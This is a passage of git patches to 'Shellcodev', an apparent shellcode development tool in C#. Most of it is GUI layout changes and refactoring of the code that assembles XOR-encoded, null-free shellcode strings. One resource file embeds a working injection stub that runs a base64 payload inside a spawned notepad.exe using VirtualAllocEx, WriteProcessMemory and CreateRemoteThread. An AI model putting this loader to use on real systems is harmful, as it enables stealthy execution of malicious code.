a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -185,6 +185,7 @@ private void InitializeComponent() this.testerBldBtn.TabIndex = 2; this.testerBldBtn.Text = "Build shellcode tester"; this.testerBldBtn.UseVisualStyleBackColor = true; + this.testerBldBtn.Click += new System.EventHandler(this.testerBldBtn_Click); // // shlcTestBtn // diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index dd415db..77821f6 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -1,4 +1,5 @@ -using System; +using Shellcodev.Core; +using System; using System.Drawing; using System.Linq; using System.Threading; @@ -189,5 +190,27 @@ private void shlcTestBtn_Click(object sender, EventArgs e) new ShellcodeLoader(converted); } + + private void testerBldBtn_Click(object sender, EventArgs e) + { + string text = bytesBox.Text; + string[] byteArray = text.Split(new char[] { ' ', '\n' }, StringSplitOptions.RemoveEmptyEntries); + + string temp = null; + for (int i = 0; i < byteArray.Length; i++) + { + if (i == byteArray.Length - 1) + temp += "0x" + byteArray[i]; + else + temp += "0x" + byteArray[i] + ", "; + } + + byte[] converted = temp.Split(new[] { ", " }, StringSplitOptions.None) + .Select(str => Convert.ToByte(str, 16)) + .ToArray(); + + Builder builder = new Builder(); + builder.Build(converted); + } } } \ No newline at end of file diff --git a/Shellcodev/Properties/Resources.Designer.cs b/Shellcodev/Properties/Resources.Designer.cs index 21dff10..02830b7 100644 --- a/Shellcodev/Properties/Resources.Designer.cs +++ b/Shellcodev/Properties/Resources.Designer.cs @@ -8,10 +8,10 @@ // //------------------------------------------------------------------------------ -namespace Shellcodev.Properties -{ - - +namespace Shellcodev.Properties { + using System; + + /// /// A strongly-typed resource class, for looking up localized strings, etc. /// @@ -19,53 +19,69 @@ namespace Shellcodev.Properties // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - internal class Resources - { - + internal class Resources { + private static global::System.Resources.ResourceManager resourceMan; - + private static global::System.Globalization.CultureInfo resourceCulture; - + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] - internal Resources() - { + internal Resources() { } - + /// /// Returns the cached ResourceManager instance used by this class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] - internal static global::System.Resources.ResourceManager ResourceManager - { - get - { - if ((resourceMan == null)) - { + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Shellcodev.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } - + /// /// Overrides the current thread's CurrentUICulture property for all /// resource lookups using this strongly typed resource class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] - internal static global::System.Globalization.CultureInfo Culture - { - get - { + internal static global::System.Globalization.CultureInfo Culture { + get { return resourceCulture; } - set - { + set { resourceCulture = value; } } + + /// + /// Looks up a localized string similar to using System; + ///using System.Diagnostics; + ///using System.Runtime.InteropServices; + /// + ///namespace Stub + ///{ + /// class API + /// { + /// [DllImport("kernel32.dll")] + /// public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + /// + /// [DllImport("kernel32.dll", CharSet = CharSet.Auto)] + /// public static extern IntPtr GetModuleHandle(string lpModuleName); + /// + /// [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + /// [rest of string was truncated]";. + /// + internal static string stub { + get { + return ResourceManager.GetString("stub", resourceCulture); + } + } } } diff --git a/Shellcodev/Properties/Resources.resx b/Shellcodev/Properties/Resources.resx index af7dbeb..4eb22e8 100644 --- a/Shellcodev/Properties/Resources.resx +++ b/Shellcodev/Properties/Resources.resx @@ -46,7 +46,7 @@ mimetype: application/x-microsoft.net.object.binary.base64 value : The object must be serialized with - : System.Serialization.Formatters.Binary.BinaryFormatter + : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter : and then encoded with base64 encoding. mimetype: application/x-microsoft.net.object.soap.base64 @@ -60,6 +60,7 @@ : and then encoded with base64 encoding. --> + @@ -68,9 +69,10 @@ - + + @@ -85,9 +87,10 @@ - + + @@ -109,9 +112,57 @@ 2.0 - System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + using System; +using System.Diagnostics; +using System.Runtime.InteropServices; + +namespace Stub +{ + class API + { + [DllImport("kernel32.dll")] + public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto)] + public static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll")] + public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + } + + class stub + { + public static void Main() + { + string payload = "[PAYLOAD]"; + byte[] shellcode = Convert.FromBase64String(payload); + + int pid = Process.Start("notepad.exe").Id; + IntPtr pHandle = API.OpenProcess(0x1F0FFF, false, pid); + + IntPtr memAlloc = API.VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, 0x00001000, 0x40); + + UIntPtr bytesWritten; + API.WriteProcessMemory(pHandle, memAlloc, shellcode, (uint)shellcode.Length, out bytesWritten); + + API.CreateRemoteThread(pHandle, IntPtr.Zero, 0, memAlloc, IntPtr.Zero, 0, IntPtr.Zero); + } + } +} + \ No newline at end of file diff --git a/Shellcodev/Shellcodev.csproj b/Shellcodev/Shellcodev.csproj index 766293f..7de36b8 100644 --- a/Shellcodev/Shellcodev.csproj +++ b/Shellcodev/Shellcodev.csproj @@ -47,6 +47,7 @@ + Form @@ -76,6 +77,7 @@ True Resources.resx + True SettingsSingleFileGenerator From 1414aa6af35e42db72dfe938087a147b60226c18 Mon Sep 17 00:00:00 2001 From: XaFF Date: Tue, 2 Nov 2021 15:54:39 +0100 Subject: [PATCH 27/64] Bug fixes and code cleaning --- Shellcodev/Core/AssemblyHandler.cs | 3 ++- Shellcodev/Core/Instruction.cs | 31 ++++++++++-------------------- Shellcodev/Forms/Main.cs | 5 ++++- 3 files changed, 16 insertions(+), 23 deletions(-) diff --git a/Shellcodev/Core/AssemblyHandler.cs b/Shellcodev/Core/AssemblyHandler.cs index 959afe1..3365099 100644 --- a/Shellcodev/Core/AssemblyHandler.cs +++ b/Shellcodev/Core/AssemblyHandler.cs @@ -37,7 +37,8 @@ public string Assembler(string instructions) { IntPtr pointer = API.AssembleInstructions(instructions); string bytes = Marshal.PtrToStringAnsi(pointer); - //TODO: Add error checker + if (bytes == "InvalidInstruction") + return "Error!: Invalid instruction."; //Starting from 0, place space every second byte string temp = null; diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index 8d9e0b3..80f1a63 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -7,20 +7,6 @@ namespace Shellcodev { - public class InstructionValidator - { - //Validate instructions - public bool ValidateInstruction() - { - //TODO - //Make instruction validator - - //string[] split = instructionTxt.Text.Split(new string[] { ",", " "}, StringSplitOptions.None); - //split = split.Where(x => !string.IsNullOrEmpty(x)).ToArray(); //Remove empty values from array if someused comma and space - return true; - } - } - public class InstructionConverter { public bool bitwise = false; @@ -38,7 +24,7 @@ private string EncodeValues(string instructionPart, bool small) foreach (string str in result) temp += str; - //Testing if push would contain nullbytes + //Testing if push contains nullbytes AssemblyHandler handler = new AssemblyHandler(); string test = handler.Assembler("push 0x" + temp); string temp1 = null; @@ -73,10 +59,10 @@ public string[] StringAssembler(string instruction) double partSize = 4; int k = 0; - //Extracting strings in double quotes + // Extracting string from double quotes var stringArray = instruction.Split('"'); - //Splitting string + // Splitting string var output = stringArray[1] .ToLookup(c => Math.Floor(k++ / partSize)) .Select(e => new String(e.ToArray())); @@ -99,23 +85,25 @@ public class Instruction public string register; private static int rowId = 1; - //Rewrite. Add support for XORed values and make stack vice versa public Instruction(string instruction) { var converter = new InstructionConverter(); var handler = new AssemblyHandler(); var main = Forms.Main.ReturnInstance(); - //Extract register from command string[] bytes = null; bool array = false; - //Check if instruction contains double qoutes, if yes execute StringAssembler + // Extract register from command try { this.register = instruction.Substring(3, 4); } catch(Exception) { } - if(instruction.Contains("\"")) + // Check if instruction contains double quotes and if yes execute StringAssembler + // This function is used to automate process of string appendance into the shellcode. + // Features: Stack is built vice versa. Strings are splitted to 4 chars each and encoded with little endian. + // Strings that contain nullbytes are xored to avoid shellcode from termination + if (instruction.Contains("\"")) { bytes = converter.StringAssembler(instruction); array = true; @@ -210,6 +198,7 @@ private void ByteAppender(Forms.Main main, string bytes) foreach(string line in split) { + // Make red instructions that have nullbytes if (line == "00") { box.SelectionColor = Color.Red; diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 77821f6..1cabde9 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -2,7 +2,6 @@ using System; using System.Drawing; using System.Linq; -using System.Threading; using System.Windows.Forms; namespace Shellcodev.Forms @@ -25,6 +24,7 @@ public Main() { InitializeComponent(); instance = this; + instructionGrid.AllowUserToAddRows = false; } private void getAddrBtn_Click(object sender, EventArgs e) @@ -54,6 +54,9 @@ private void generateBtn_Click(object sender, EventArgs e) #region InstructionRegion private void addInstructionBtn_Click(object sender, EventArgs e) { + //Disable row sorting + instructionGrid.Columns.Cast().ToList().ForEach(f => f.SortMode = DataGridViewColumnSortMode.NotSortable); + if (String.IsNullOrEmpty(instructionTxt.Text)) return; From 025aafffa6947d1d860f4b0b700d24844abe120c Mon Sep 17 00:00:00 2001 From: XaFF Date: Thu, 4 Nov 2021 11:40:22 +0100 Subject: [PATCH 28/64] Huge code cleaning and datagridview index counter disabled, because it wasn't working correctly. --- Shellcodev/Core/Instruction.cs | 115 +++++++-------------------------- Shellcodev/Core/Snippet.cs | 63 ++++++++++++++++++ Shellcodev/Forms/Main.cs | 26 +++++++- Shellcodev/Shellcodev.csproj | 1 + 4 files changed, 113 insertions(+), 92 deletions(-) create mode 100644 Shellcodev/Core/Snippet.cs diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index 80f1a63..bcb0c54 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -1,4 +1,5 @@ -using System; +using Shellcodev.Core; +using System; using System.Collections.Generic; using System.Drawing; using System.Linq; @@ -89,10 +90,12 @@ public Instruction(string instruction) { var converter = new InstructionConverter(); var handler = new AssemblyHandler(); + var parser = new Snippet(); var main = Forms.Main.ReturnInstance(); string[] bytes = null; bool array = false; + string tempBytes = null; // Extract register from command try { this.register = instruction.Substring(3, 4); } @@ -106,49 +109,10 @@ public Instruction(string instruction) if (instruction.Contains("\"")) { bytes = converter.StringAssembler(instruction); + parser.SnippetParser(main, register, bytes); + parser.SnippetAppender(main, register, bytes); array = true; } - - int counter = 1; - if(array) - { - string lastValue = bytes.Last(); - - for (int i = bytes.Length - 1; i >= 0; i--) - { - int rows = main.instructionGrid.Rows.Add(rowId); - DataGridViewRow row = main.instructionGrid.Rows[rows]; - - if (bytes[i].StartsWith("xor")) - { - row.Cells["Instruction"].Value = "mov " + register + ", " + bytes[i].Substring(3); - row.HeaderCell.Value = (row.Index + counter++).ToString(); - - int _rows = main.instructionGrid.Rows.Add(rowId); - DataGridViewRow _row = main.instructionGrid.Rows[_rows]; - - _row.Cells["Instruction"].Value = "xor " + register + ", 0x11111111"; - _row.HeaderCell.Value = (row.Index + counter++).ToString(); - - _rows = main.instructionGrid.Rows.Add(rowId); - _row = main.instructionGrid.Rows[_rows]; - - _row.Cells["Instruction"].Value = "push " + register; - _row.HeaderCell.Value = (row.Index + counter++).ToString(); - } - else - { - row.Cells["Instruction"].Value = "push " + bytes[i]; - row.HeaderCell.Value = (row.Index + 2).ToString(); - } - } - - int _rows1 = main.instructionGrid.Rows.Add(rowId); - DataGridViewRow _row1 = main.instructionGrid.Rows[_rows1]; - - _row1.Cells["Instruction"].Value = "mov " + register + ", esp"; - _row1.HeaderCell.Value = (_row1.Index + counter++).ToString(); - } else { int rows = main.instructionGrid.Rows.Add(rowId); @@ -156,58 +120,27 @@ public Instruction(string instruction) row.Cells["Instruction"].Value = instruction; row.HeaderCell.Value = (row.Index + 1).ToString(); - } - string tempBytes = null; - if (array) - { - for (int i = bytes.Length - 1; i >= 0; i--) - { - if (bytes[i].StartsWith("xor")) - { - tempBytes = handler.Assembler("mov " + register + ", " + bytes[i].Substring(3)); - ByteAppender(main, tempBytes); - - tempBytes = handler.Assembler("xor " + register + ", 0x11111111"); - ByteAppender(main, tempBytes); - - tempBytes = handler.Assembler("push " + register); - ByteAppender(main, tempBytes); - } - else - { - tempBytes = handler.Assembler("push " + bytes[i]); - ByteAppender(main, tempBytes); - } - } - - tempBytes = handler.Assembler("mov " + register + ", esp"); - ByteAppender(main, tempBytes); - } - else - { tempBytes = handler.Assembler(instruction); - ByteAppender(main, tempBytes); - } - } - - private void ByteAppender(Forms.Main main, string bytes) - { - var box = main.bytesBox; - string[] split = bytes.Split(' '); - - foreach(string line in split) - { - // Make red instructions that have nullbytes - if (line == "00") - { - box.SelectionColor = Color.Red; - box.AppendText(line + " "); - } - else - box.AppendText(line + " "); + main.ByteAppender(tempBytes); } - box.AppendText("\n"); + + //if(array) + //{ + // parser.SnippetParser(main, register, bytes); + // parser.SnippetAppender(main, register, bytes); + //} + //else + //{ + // int rows = main.instructionGrid.Rows.Add(rowId); + // DataGridViewRow row = main.instructionGrid.Rows[rows]; + + // row.Cells["Instruction"].Value = instruction; + // row.HeaderCell.Value = (row.Index + 1).ToString(); + + // tempBytes = handler.Assembler(instruction); + // main.ByteAppender(tempBytes); + //} } } } \ No newline at end of file diff --git a/Shellcodev/Core/Snippet.cs b/Shellcodev/Core/Snippet.cs new file mode 100644 index 0000000..cfa17c3 --- /dev/null +++ b/Shellcodev/Core/Snippet.cs @@ -0,0 +1,63 @@ +using Shellcodev.Forms; +using System.Windows.Forms; + +namespace Shellcodev.Core +{ + class Snippet + { + private static int rowId = 1; + public void SnippetParser(Main instance, string register, string[] bytes) + { + for (int i = bytes.Length - 1; i >= 0; i--) + { + int rows = instance.instructionGrid.Rows.Add(rowId); + DataGridViewRow row = instance.instructionGrid.Rows[rows]; + + if (bytes[i].StartsWith("xor")) + { + row.Cells["Instruction"].Value = "mov " + register + ", " + bytes[i].Substring(3); + + int _rows = instance.instructionGrid.Rows.Add(rowId); + DataGridViewRow _row = instance.instructionGrid.Rows[_rows]; + + _row.Cells["Instruction"].Value = "xor " + register + ", 0x11111111"; + + _rows = instance.instructionGrid.Rows.Add(rowId); + _row = instance.instructionGrid.Rows[_rows]; + + _row.Cells["Instruction"].Value = "push " + register; + } + else + { + row.Cells["Instruction"].Value = "push " + bytes[i]; + } + } + + int _rows1 = instance.instructionGrid.Rows.Add(rowId); + DataGridViewRow _row1 = instance.instructionGrid.Rows[_rows1]; + + _row1.Cells["Instruction"].Value = "mov " + register + ", esp"; + } + + public void SnippetAppender(Main instance, string register, string[] bytes) + { + var handler = new AssemblyHandler(); + + for (int i = bytes.Length - 1; i >= 0; i--) + { + if (bytes[i].StartsWith("xor")) + { + instance.ByteAppender(handler.Assembler("mov " + register + ", " + bytes[i].Substring(3))); + instance.ByteAppender(handler.Assembler("xor " + register + ", 0x11111111")); + instance.ByteAppender(handler.Assembler("push " + register)); + } + else + { + instance.ByteAppender(handler.Assembler("push " + bytes[i])); + } + } + + instance.ByteAppender(handler.Assembler("mov " + register + ", esp")); + } + } +} \ No newline at end of file diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 1cabde9..7589be3 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -27,6 +27,25 @@ public Main() instructionGrid.AllowUserToAddRows = false; } + public void ByteAppender(string bytes) + { + var box = this.bytesBox; + string[] split = bytes.Split(' '); + + foreach (string line in split) + { + // Make red instructions that have nullbytes + if (line == "00") + { + box.SelectionColor = Color.Red; + box.AppendText(line + " "); + } + else + box.AppendText(line + " "); + } + box.AppendText("\n"); + } + private void getAddrBtn_Click(object sender, EventArgs e) { string dll = dllAddrBox.Text; @@ -75,10 +94,13 @@ private void instructionTxt_KeyDown(object sender, KeyEventArgs e) } } + //Repair private void instructionGrid_SelectionChanged(object sender, EventArgs e) { int index = instructionGrid.CurrentCell.RowIndex; + Console.WriteLine("Selection number: " + index); + //Repair for(int i = 0; i < bytesBox.Lines.Count(); i++) { if(index == i) @@ -159,7 +181,7 @@ private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArg } #endregion - #region radio + #region RadioButtons private void cRBtn_CheckedChanged(object sender, EventArgs e) { if(csRBtn.Checked) @@ -173,6 +195,7 @@ private void csRBtn_CheckedChanged(object sender, EventArgs e) } #endregion + #region Testing private void shlcTestBtn_Click(object sender, EventArgs e) { string text = bytesBox.Text; @@ -215,5 +238,6 @@ private void testerBldBtn_Click(object sender, EventArgs e) Builder builder = new Builder(); builder.Build(converted); } + #endregion } } \ No newline at end of file diff --git a/Shellcodev/Shellcodev.csproj b/Shellcodev/Shellcodev.csproj index 7de36b8..4110df3 100644 --- a/Shellcodev/Shellcodev.csproj +++ b/Shellcodev/Shellcodev.csproj @@ -49,6 +49,7 @@ + Form From d26f732ee9d87d7c243c986f02cbae4304fdf3a5 Mon Sep 17 00:00:00 2001 From: XaFF Date: Thu, 4 Nov 2021 11:42:24 +0100 Subject: [PATCH 29/64] Disabled form resizing --- Shellcodev/Forms/Main.Designer.cs | 124 ++++++++++++++++++------------ Shellcodev/Forms/Main.resx | 3 + 2 files changed, 79 insertions(+), 48 deletions(-) diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index a42cb80..8f7538b 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -60,9 +60,11 @@ private void InitializeComponent() this.instructionGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; this.instructionGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Instruction}); - this.instructionGrid.Location = new System.Drawing.Point(35, 161); + this.instructionGrid.Location = new System.Drawing.Point(47, 198); + this.instructionGrid.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.instructionGrid.Name = "instructionGrid"; - this.instructionGrid.Size = new System.Drawing.Size(371, 389); + this.instructionGrid.RowHeadersWidth = 51; + this.instructionGrid.Size = new System.Drawing.Size(495, 479); this.instructionGrid.TabIndex = 0; this.instructionGrid.CellEndEdit += new System.Windows.Forms.DataGridViewCellEventHandler(this.instructionGrid_CellEndEdit); this.instructionGrid.SelectionChanged += new System.EventHandler(this.instructionGrid_SelectionChanged); @@ -70,22 +72,25 @@ private void InitializeComponent() // Instruction // this.Instruction.HeaderText = "Instruction"; + this.Instruction.MinimumWidth = 6; this.Instruction.Name = "Instruction"; this.Instruction.Width = 328; // // instructionTxt // - this.instructionTxt.Location = new System.Drawing.Point(35, 566); + this.instructionTxt.Location = new System.Drawing.Point(47, 697); + this.instructionTxt.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.instructionTxt.Name = "instructionTxt"; - this.instructionTxt.Size = new System.Drawing.Size(239, 20); + this.instructionTxt.Size = new System.Drawing.Size(317, 22); this.instructionTxt.TabIndex = 1; this.instructionTxt.KeyDown += new System.Windows.Forms.KeyEventHandler(this.instructionTxt_KeyDown); // // addInstructionBtn // - this.addInstructionBtn.Location = new System.Drawing.Point(331, 564); + this.addInstructionBtn.Location = new System.Drawing.Point(441, 694); + this.addInstructionBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.addInstructionBtn.Name = "addInstructionBtn"; - this.addInstructionBtn.Size = new System.Drawing.Size(75, 22); + this.addInstructionBtn.Size = new System.Drawing.Size(100, 27); this.addInstructionBtn.TabIndex = 2; this.addInstructionBtn.Text = "Add"; this.addInstructionBtn.UseVisualStyleBackColor = true; @@ -93,95 +98,105 @@ private void InitializeComponent() // // bytesBox // - this.bytesBox.Location = new System.Drawing.Point(445, 161); + this.bytesBox.Location = new System.Drawing.Point(593, 198); + this.bytesBox.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.bytesBox.Name = "bytesBox"; - this.bytesBox.Size = new System.Drawing.Size(340, 389); + this.bytesBox.Size = new System.Drawing.Size(452, 478); this.bytesBox.TabIndex = 3; this.bytesBox.Text = ""; // // registersBox // this.registersBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); - this.registersBox.Location = new System.Drawing.Point(35, 39); + this.registersBox.Location = new System.Drawing.Point(47, 48); + this.registersBox.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.registersBox.Multiline = false; this.registersBox.Name = "registersBox"; this.registersBox.ReadOnly = true; - this.registersBox.Size = new System.Drawing.Size(371, 21); + this.registersBox.Size = new System.Drawing.Size(493, 25); this.registersBox.TabIndex = 4; this.registersBox.Text = "EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: 00000000"; // // pointersBox // this.pointersBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); - this.pointersBox.Location = new System.Drawing.Point(35, 121); + this.pointersBox.Location = new System.Drawing.Point(47, 149); + this.pointersBox.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.pointersBox.Multiline = false; this.pointersBox.Name = "pointersBox"; this.pointersBox.ReadOnly = true; - this.pointersBox.Size = new System.Drawing.Size(278, 21); + this.pointersBox.Size = new System.Drawing.Size(369, 25); this.pointersBox.TabIndex = 4; this.pointersBox.Text = "EIP: 00000000 ESP: 00000000 EBP: 00000000"; // // label1 // this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(32, 105); + this.label1.Location = new System.Drawing.Point(43, 129); + this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(45, 13); + this.label1.Size = new System.Drawing.Size(60, 17); this.label1.TabIndex = 5; this.label1.Text = "Pointers"; // // label2 // this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(32, 23); + this.label2.Location = new System.Drawing.Point(43, 28); + this.label2.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(51, 13); + this.label2.Size = new System.Drawing.Size(68, 17); this.label2.TabIndex = 5; this.label2.Text = "Registers"; // // label3 // this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(442, 145); + this.label3.Location = new System.Drawing.Point(589, 178); + this.label3.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(114, 13); + this.label3.Size = new System.Drawing.Size(153, 17); this.label3.TabIndex = 5; this.label3.Text = "Assembled instructions"; // // label4 // this.label4.AutoSize = true; - this.label4.Location = new System.Drawing.Point(32, 145); + this.label4.Location = new System.Drawing.Point(43, 178); + this.label4.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(61, 13); + this.label4.Size = new System.Drawing.Size(80, 17); this.label4.TabIndex = 5; this.label4.Text = "Instructions"; // // richTextBox1 // this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); - this.richTextBox1.Location = new System.Drawing.Point(35, 80); + this.richTextBox1.Location = new System.Drawing.Point(47, 98); + this.richTextBox1.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.richTextBox1.Multiline = false; this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.ReadOnly = true; - this.richTextBox1.Size = new System.Drawing.Size(186, 22); + this.richTextBox1.Size = new System.Drawing.Size(247, 26); this.richTextBox1.TabIndex = 4; this.richTextBox1.Text = "EDI: 00000000 ESI: 00000000"; // // label5 // this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(32, 64); + this.label5.Location = new System.Drawing.Point(43, 79); + this.label5.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(44, 13); + this.label5.Size = new System.Drawing.Size(56, 17); this.label5.TabIndex = 5; this.label5.Text = "Indexes"; // // testerBldBtn // - this.testerBldBtn.Location = new System.Drawing.Point(445, 564); + this.testerBldBtn.Location = new System.Drawing.Point(593, 694); + this.testerBldBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.testerBldBtn.Name = "testerBldBtn"; - this.testerBldBtn.Size = new System.Drawing.Size(121, 22); + this.testerBldBtn.Size = new System.Drawing.Size(161, 27); this.testerBldBtn.TabIndex = 2; this.testerBldBtn.Text = "Build shellcode tester"; this.testerBldBtn.UseVisualStyleBackColor = true; @@ -189,9 +204,10 @@ private void InitializeComponent() // // shlcTestBtn // - this.shlcTestBtn.Location = new System.Drawing.Point(664, 564); + this.shlcTestBtn.Location = new System.Drawing.Point(885, 694); + this.shlcTestBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.shlcTestBtn.Name = "shlcTestBtn"; - this.shlcTestBtn.Size = new System.Drawing.Size(121, 22); + this.shlcTestBtn.Size = new System.Drawing.Size(161, 27); this.shlcTestBtn.TabIndex = 2; this.shlcTestBtn.Text = "Test shellcode"; this.shlcTestBtn.UseVisualStyleBackColor = true; @@ -199,50 +215,56 @@ private void InitializeComponent() // // dllAddrBox // - this.dllAddrBox.Location = new System.Drawing.Point(478, 98); + this.dllAddrBox.Location = new System.Drawing.Point(637, 121); + this.dllAddrBox.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.dllAddrBox.Name = "dllAddrBox"; - this.dllAddrBox.Size = new System.Drawing.Size(121, 20); + this.dllAddrBox.Size = new System.Drawing.Size(160, 22); this.dllAddrBox.TabIndex = 6; // // label6 // this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(443, 81); + this.label6.Location = new System.Drawing.Point(591, 100); + this.label6.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(67, 13); + this.label6.Size = new System.Drawing.Size(90, 17); this.label6.TabIndex = 5; this.label6.Text = "Get address:"; // // funcTxt // - this.funcTxt.Location = new System.Drawing.Point(664, 98); + this.funcTxt.Location = new System.Drawing.Point(885, 121); + this.funcTxt.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.funcTxt.Name = "funcTxt"; - this.funcTxt.Size = new System.Drawing.Size(121, 20); + this.funcTxt.Size = new System.Drawing.Size(160, 22); this.funcTxt.TabIndex = 6; // // label7 // this.label7.AutoSize = true; - this.label7.Location = new System.Drawing.Point(442, 101); + this.label7.Location = new System.Drawing.Point(589, 124); + this.label7.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(30, 13); + this.label7.Size = new System.Drawing.Size(38, 17); this.label7.TabIndex = 5; this.label7.Text = "DLL:"; // // label8 // this.label8.AutoSize = true; - this.label8.Location = new System.Drawing.Point(607, 101); + this.label8.Location = new System.Drawing.Point(809, 124); + this.label8.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(51, 13); + this.label8.Size = new System.Drawing.Size(66, 17); this.label8.TabIndex = 5; this.label8.Text = "Function:"; // // getAddrBtn // - this.getAddrBtn.Location = new System.Drawing.Point(591, 124); + this.getAddrBtn.Location = new System.Drawing.Point(788, 153); + this.getAddrBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); this.getAddrBtn.Name = "getAddrBtn"; - this.getAddrBtn.Size = new System.Drawing.Size(84, 22); + 